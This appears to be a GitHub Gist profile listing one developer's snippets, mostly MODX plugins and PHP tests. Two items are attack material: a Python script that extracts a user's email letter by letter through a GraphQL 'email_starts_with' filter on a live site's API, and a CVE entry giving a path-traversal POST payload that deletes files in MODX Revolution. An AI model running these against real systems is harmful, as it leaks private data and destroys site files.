Skip to content

Instantly share code, notes, and snippets.

Avatar
Open to suggestions

Евгений Борисов AgelxNash

Open to suggestions
View GitHub Profile
View graphql.py
import itertools, argparse, requests, string
def generator(prefix):
for pass_tuple in itertools.product(ALPHABET, repeat=1):
yield prefix + ''.join(pass_tuple)
def validator(password):
data = {"query": "{users(where: {username: \"" + USERNAME + "\", email_starts_with: \"" + password + "\"}) {username}}"}
r = requests.post('https://api.modxclub.ru/', stream=True, json = data)
return r.status_code == 200 and r.text == '{"data":{"users":[{"username":"' + USERNAME +'"}]}}'
@AgelxNash
AgelxNash / customRoute.plugin.php
Last active Sep 13, 2019
Плагин для кастомной маршрутизации в MODX Evolution + сниппет для формирования ссылок. Данная реализация работает только при кэше с учетом ID и $_GET
View customRoute.plugin.php
//<?php
/**
* Onetable Route
*
* Плагин для кастомной маршрутизации
*
* @license GNU General Public License (GPL), http://www.gnu.org/copyleft/gpl.html
* @author Agel_Nash <Agel_Nash@xaker.ru>
* @version 0.1
*
@AgelxNash
AgelxNash / CompressImages.php
Last active Aug 18, 2019
Комманда под artisan для сжатия картинок при помощи https://github.com/maksatweb/compressor.io-php
View CompressImages.php
<?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
use App\Models;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use serhatozles\compressio\CompressorIO;
@AgelxNash
AgelxNash / plugin.mailnotify.php
Last active Apr 17, 2019
Плагин для MODX Evolution отправляющий уведомление на почту указанную в документе при сохранении этого же документа (имеется проверка на заполненность обязательного поля во время сохранения). Помимо этого плагин сохраняет в ТВ параметр статус отправки письма. И если все хорошо, то при повторном редактировании письмо не отправляется. Но для этого…
View plugin.mailnotify.php
<?php
/**
* MailNotify
*
* Отправка уведомлений на почту пользователю при публикации документа
*
* @license GNU General Public License (GPL), http://www.gnu.org/copyleft/gpl.html
* @author Agel_Nash <Agel_Nash@xaker.ru>
* @version 0.1
*
@AgelxNash
AgelxNash / tagsaver.plugin.php
Last active Oct 16, 2018
[Evo] Дублирование тегов в другую таблицу для удобной фильтрации без WHERE X LIKE '%tag%'. Подробности тут http://modx.im/blog/addons/374.html
View tagsaver.plugin.php
//<?php
/**
* TagSaver
*
* @category plugin,DocLister
* @version 0.2
* @license GNU General Public License (GPL), http://www.gnu.org/copyleft/gpl.html
* @internal @properties &tv=ID TV-параметра;input; &sep=Разделитель тегов;input;
* @internal @events OnDocFormSave
* @internal @modx_category Manager and Admin
View test.array_key_exists.php
<?php
/**
* Проверка существования элемента с определенным индексом в массиве. Специально для сайта https://agel-nash.ru
*
* @category test
* @version 0.2
* @license GNU General Public License (GPL), http://www.gnu.org/copyleft/gpl.htlm
* @param int $range размер создаваемого массива (на выходе получится массив в 2 раза больше @see getArr)
* @param int $run число прогонов по функции
* @author Agel_Nash <Agel_Nash@xaker.ru>
@AgelxNash
AgelxNash / readfile.test.php
Last active Jul 19, 2018
Число строк в файле. Специально для сайта https://agel-nash.ru
View readfile.test.php
<?php
$m1=memory_get_usage();
$a=count(file(__FILE__));
$m2=memory_get_usage();
echo sprintf("строк %d. Потребовалось памяти %2.0f Байт",$a, ($m2-$m1));
echo "<hr />";
$a=0;
$m1=memory_get_usage();
View oop.php
<?
interface substance{
public function eat(&$foods=array()); //питание
public function hunting($time=1); //охота
public function clones(); //размножение
}
abstract class doing implements substance{
use sex;
protected $body=array('feet'=>2,'hands'=>2,'eyes'=>2,'head'=>1); //тело
@AgelxNash
AgelxNash / CVE-2018-1000208
Last active Jul 15, 2018
MODX Revolution - remove files /connectors/index.php with POST ['register' => 'fuck', 'topic' => '../../../../', 'clear' => 1, 'ctx' => 'mgr', 'action' => 'security/login']
View CVE-2018-1000208
public/
├── core
│   ├── cache
│   │   ├── lexicon_topics
│   │   │   └── lexicon
│   │   │   └── ru
│   │   │   └── core
│   │   │   └── login.cache.php
│   │   ├── registry
│   │   │   └── state
@AgelxNash
AgelxNash / paramEditFull.plugin.php
Created Jul 8, 2018
paramEditFull - Плагин для MODX Evolution адаптированный для работы на 1.4.х ветке http://modx-shopkeeper.ru/forum/viewtopic.php?id=688
View paramEditFull.plugin.php
//<?php
/**
* paramEditFull
*
* Удобное добавление и редактирование дополнительных параметров у товаров.
*
* @category plugin
* @version 2.0
* @license http://www.gnu.org/copyleft/gpl.html GNU Public License (GPL)
* @author Agel_Nash <modx@agel-nash.ru>, oleg.39style@gmail.com
You can’t perform that action at this time.